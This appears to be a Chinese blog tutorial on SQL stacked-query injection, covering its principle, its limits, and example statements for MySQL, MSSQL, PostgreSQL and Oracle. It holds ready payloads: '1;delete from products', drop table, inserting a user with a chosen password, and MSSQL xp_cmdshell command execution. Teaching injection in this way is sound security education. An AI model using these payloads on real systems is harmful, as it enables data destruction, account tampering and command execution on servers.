SQL堆叠注入(堆查询注入)原理与实例分析

Stacked injections:堆叠注入。

从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stacked injection。

 

一、SQL堆叠注入 原理

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。

而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

 

例如,以下这个例子,用户输入:

1;delete from products

因服务器端未对输入的参数进行过滤,第二条则将整个表进行删除。

 

二、SQL堆叠注入的局限性

堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。

 

例如:

堆叠注入的局限性

Ps:此图是从原文中截取过来的,因为我个人的测试环境是php+mysql,是可以执行的,此处对于mysql/php存在质疑。但个人估计原文作者可能与我的版本的不同的原因。

 

虽然我们前面提到了堆叠查询可以执行任意的sql语句,但是这种注入方式并不是十分的完美的。在我们的web系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。

 

因此,在读取数据时,我们建议使用union(联合)注入。同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息。

 

三、Mysql、Mssql、Oracle、Postgresql数据库 SQL堆叠注入 实例分析

本节我们从常用数据库角度出发,例如:Mysql、Sql server(mssql)、Postgresql、Oracle等。

主要是介绍这几个类型的数据库的相关用法。数据库的基本操作,增删查改。以下列出数据库相关堆叠注入的基本操作。

 

Mysql数据库

 

1、新建一张表:

select * from users where id=1;create table test like users;

 

2、删除上面新建的test表:

select * from users where id=1;drop table test;

 

3、查询数据:

select * from users where id=1;select 1,2,3;

 

4、修改数据:

select * from users where id=1;insert into users(id,username,password) values ('100','new','new');

 

Sql server(mssql)数据库

 

1、增加数据表:

select * from test;create table sc3(ss CHAR(8));

 

2、删除数据表:

select * from test;drop table sc3;

 

3、查询数据:

select 1,2,3;select * from test;

 

4、修改数据:

select * from test;update test set name='test' where id=3;

 

5、sql server中最为重要的存储过程的执行:

select * from test where id=1;exec master.. xp_cmdshell 'ipconfig'

mssql xp_cmdshell 'ipconfig'

 

Oracle数据库

oracle不能使用堆叠注入,可以从图中看到,当有两条语句在同一行时,直接报错。无效字符。后面的就不往下继续尝试了。

oracle不能使用堆叠注入

 

Postgresql数据库

 

1、新建一张表:

 select * from user_test;create table user_data(id DATE);

 

2、删除上面新建的user_data表:

select * from user_test;delete from user_data;

 

3、查询数据:

select * from user_test;select 1,2,3;

 

4、修改数据:

select * from user_test;update user_test set name='modify' where name='张三';
付杰
  • ¥ 6.8元
  • 市场价:8.8元
  • ¥ 299.0元
  • 市场价:599.0元
  • ¥ 798.0元
  • 市场价:1298.0元
  • ¥ 129.0元

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: